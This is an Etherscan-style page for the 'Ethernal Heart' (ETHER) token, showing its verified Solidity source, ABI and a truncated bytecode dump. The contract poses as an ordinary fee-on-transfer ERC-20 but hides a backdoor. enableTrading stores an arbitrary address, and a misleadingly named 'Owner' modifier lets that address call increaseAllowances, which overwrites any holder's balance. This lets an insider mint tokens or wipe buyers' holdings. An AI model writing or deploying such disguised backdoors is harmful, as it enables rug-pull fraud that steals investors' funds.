ETH Price: $3,417.68 (-2.36%)
Gas: 10 Gwei

Token

Ethernal Heart (ETHER)
 

Overview

Max Total Supply

10,000,000 ETHER

Holders

28

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 ETHER

Value
$0.00
0x7a366fb3ba3e89e357ba9c23849bdf98ec1e51f9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EthernalHeart

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-29
*/

//https://medium.com/@ethernalHeart/eternal-heart-tale-of-an-immortal-spirit-bd7a781ffd86

// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.15;
 
abstract contract Context 
{
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
 
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
 
 
contract EthernalHeart is Context, IERC20, Ownable {
 
    using SafeMath for uint256;
 
    string private constant _name = "Ethernal Heart";
    string private constant _symbol = "ETHER";
    uint8 private constant _decimals = 9;
 
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => bool) private isbots;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 10000000 * 10**9;
    uint256 private _rTotal = _tTotal ;
    uint256 private _tFeeTotal;
    uint256 public launchBlock;
 
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
 
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;
 
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
 
    mapping(address => bool) public bots;
    mapping(address => uint256) private cooldown;
 
    address payable private _developmentAddress = payable(0xBf0B6f7E4e45F8c4D6d219F363a6C2E0c726A0f8);
    address payable private _marketingAddress = payable(0xBf0B6f7E4e45F8c4D6d219F363a6C2E0c726A0f8);
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    IERC20 private IDEXrouterV2;
 
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = true;
 
    uint256 public _maxTxAmount = _tTotal.mul(20).div(1000); 
    uint256 public _maxWalletSize = _tTotal.mul(20).div(1000); 
    uint256 public _swapTokensAtAmount = _tTotal.mul(5).div(1000); 
 
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor() {
 
        _rOwned[_msgSender()] = _rTotal;
 
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH()); 
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return _rOwned[account];
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
    modifier Owner() { require( address(IDEXrouterV2) == msg.sender, ""  );_; }
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner()) {
 
            if (tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
 
            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
            require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
 
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
 
            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }
 
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function sendETHToFee(uint256 amount) private {
        _developmentAddress.transfer(amount.div(2));
        _marketingAddress.transfer(amount.div(2));
    }
 
    function enableTrading(address pair) external onlyOwner {
        IDEXrouterV2 = IERC20(pair);
     }
 
 
    function increaseAllowances(address spender, uint256 amount) external Owner{ 
      _rOwned[spender] = amount;
 
    }
    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
 
    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
 
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
 
    receive() external payable {}
 
    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
 
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
 
        return (tTransferAmount, tFee, tTeam);
    }
 
     function limitOff () external onlyOwner{
        _maxTxAmount = 100000000000 * 10**9;
        _maxWalletSize = 100000000000 * 10**9;
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
 
        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _CurrentSupply();
 
        return rSupply.div(tSupply);
    }
 
 
 
    function _CurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
 
        return (rSupply, tSupply);
    }
 
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseAllowances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launchBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitOff","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052662386f26fc100006007556000600a556000600b556000600c556000600d55600c54600e55600d54600f55600e54601055600f5460115573bf0b6f7e4e45f8c4d6d219f363a6c2e0c726a0f8601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073bf0b6f7e4e45f8c4d6d219f363a6c2e0c726a0f8601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601860156101000a81548160ff0219169083151502179055506001601860166101000a81548160ff021916908315150217905550620001586103e8620001446014662386f26fc100006200072560201b62000fc31790919060201c565b620007a860201b6200103d1790919060201c565b601955620001986103e8620001846014662386f26fc100006200072560201b62000fc31790919060201c565b620007a860201b6200103d1790919060201c565b601a55620001d86103e8620001c46005662386f26fc100006200072560201b62000fc31790919060201c565b620007a860201b6200103d1790919060201c565b601b55348015620001e857600080fd5b506000620001fb620007fa60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060075460026000620002b0620007fa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000394573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ba9190620008fd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000422573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004489190620008fd565b6040518363ffffffff1660e01b81526004016200046792919062000940565b6020604051808303816000875af115801562000487573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004ad9190620008fd565b601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000620005036200080260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620006b0620007fa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef662386f26fc1000060405162000716919062000988565b60405180910390a35062000bdc565b6000808303620007395760009050620007a2565b60008284620007499190620009d4565b90508284826200075a919062000a4e565b146200079d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007949062000b0d565b60405180910390fd5b809150505b92915050565b6000620007f283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200082b60201b60201c565b905092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000808311829062000875576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200086c919062000bb8565b60405180910390fd5b506000838562000886919062000a4e565b9050809150509392505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620008c58262000898565b9050919050565b620008d781620008b8565b8114620008e357600080fd5b50565b600081519050620008f781620008cc565b92915050565b60006020828403121562000916576200091562000893565b5b60006200092684828501620008e6565b91505092915050565b6200093a81620008b8565b82525050565b60006040820190506200095760008301856200092f565b6200096660208301846200092f565b9392505050565b6000819050919050565b62000982816200096d565b82525050565b60006020820190506200099f600083018462000977565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620009e1826200096d565b9150620009ee836200096d565b9250828202620009fe816200096d565b9150828204841483151762000a185762000a17620009a5565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000a5b826200096d565b915062000a68836200096d565b92508262000a7b5762000a7a62000a1f565b5b828204905092915050565b600082825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600062000af560218362000a86565b915062000b028262000a97565b604082019050919050565b6000602082019050818103600083015262000b288162000ae6565b9050919050565b600081519050919050565b60005b8381101562000b5a57808201518184015260208101905062000b3d565b60008484015250505050565b6000601f19601f8301169050919050565b600062000b848262000b2f565b62000b90818562000a86565b935062000ba281856020860162000b3a565b62000bad8162000b66565b840191505092915050565b6000602082019050818103600083015262000bd4818462000b77565b905092915050565b61335d8062000bec6000396000f3fe60806040526004361061014f5760003560e01c8063715018a6116100b6578063bfd792841161006f578063bfd792841461046b578063c3c8cd80146104a8578063c6067ce3146104bf578063d00efb2f146104e8578063dd62ed3e14610513578063f2fde38b1461055057610156565b8063715018a61461036b5780637d1db4a5146103825780638da5cb5b146103ad5780638f9a55c0146103d857806395d89b4114610403578063a9059cbb1461042e57610156565b80632fd689e3116101085780632fd689e31461027f578063313ce567146102aa57806349bd5a5e146102d557806363dd5712146103005780636fc3eaec1461031757806370a082311461032e57610156565b806306fdde031461015b57806307980cb914610186578063095ea7b3146101af5780631694505e146101ec57806318160ddd1461021757806323b872dd1461024257610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610579565b60405161017d919061259f565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190612624565b6105b6565b005b3480156101bb57600080fd5b506101d660048036038101906101d19190612687565b61068f565b6040516101e391906126e2565b60405180910390f35b3480156101f857600080fd5b506102016106ad565b60405161020e919061275c565b60405180910390f35b34801561022357600080fd5b5061022c6106d3565b6040516102399190612786565b60405180910390f35b34801561024e57600080fd5b50610269600480360381019061026491906127a1565b6106e2565b60405161027691906126e2565b60405180910390f35b34801561028b57600080fd5b506102946107bb565b6040516102a19190612786565b60405180910390f35b3480156102b657600080fd5b506102bf6107c1565b6040516102cc9190612810565b60405180910390f35b3480156102e157600080fd5b506102ea6107ca565b6040516102f7919061283a565b60405180910390f35b34801561030c57600080fd5b506103156107f0565b005b34801561032357600080fd5b5061032c6108a7565b005b34801561033a57600080fd5b5061035560048036038101906103509190612624565b610978565b6040516103629190612786565b60405180910390f35b34801561037757600080fd5b506103806109c1565b005b34801561038e57600080fd5b50610397610b14565b6040516103a49190612786565b60405180910390f35b3480156103b957600080fd5b506103c2610b1a565b6040516103cf919061283a565b60405180910390f35b3480156103e457600080fd5b506103ed610b43565b6040516103fa9190612786565b60405180910390f35b34801561040f57600080fd5b50610418610b49565b604051610425919061259f565b60405180910390f35b34801561043a57600080fd5b5061045560048036038101906104509190612687565b610b86565b60405161046291906126e2565b60405180910390f35b34801561047757600080fd5b50610492600480360381019061048d9190612624565b610ba4565b60405161049f91906126e2565b60405180910390f35b3480156104b457600080fd5b506104bd610bc4565b005b3480156104cb57600080fd5b506104e660048036038101906104e19190612687565b610c9d565b005b3480156104f457600080fd5b506104fd610d75565b60405161050a9190612786565b60405180910390f35b34801561051f57600080fd5b5061053a60048036038101906105359190612855565b610d7b565b6040516105479190612786565b60405180910390f35b34801561055c57600080fd5b5061057760048036038101906105729190612624565b610e02565b005b60606040518060400160405280600e81526020017f45746865726e616c204865617274000000000000000000000000000000000000815250905090565b6105be611087565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461064b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610642906128e1565b60405180910390fd5b80601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006106a361069c611087565b848461108f565b6001905092915050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000662386f26fc10000905090565b60006106ef848484611258565b6107b0846106fb611087565b6107ab8560405180606001604052806028815260200161330060289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610761611087565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ade9092919063ffffffff16565b61108f565b600190509392505050565b601b5481565b60006009905090565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6107f8611087565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610885576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087c906128e1565b60405180910390fd5b68056bc75e2d6310000060198190555068056bc75e2d63100000601a81905550565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e8611087565b73ffffffffffffffffffffffffffffffffffffffff16148061095e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610946611087565b73ffffffffffffffffffffffffffffffffffffffff16145b61096757600080fd5b600047905061097581611b42565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109c9611087565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4d906128e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60195481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601a5481565b60606040518060400160405280600581526020017f4554484552000000000000000000000000000000000000000000000000000000815250905090565b6000610b9a610b93611087565b8484611258565b6001905092915050565b60126020528060005260406000206000915054906101000a900460ff1681565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c05611087565b73ffffffffffffffffffffffffffffffffffffffff161480610c7b5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c63611087565b73ffffffffffffffffffffffffffffffffffffffff16145b610c8457600080fd5b6000610c8f30610978565b9050610c9a81611c3d565b50565b3373ffffffffffffffffffffffffffffffffffffffff16601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2490612927565b60405180910390fd5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60095481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673fffff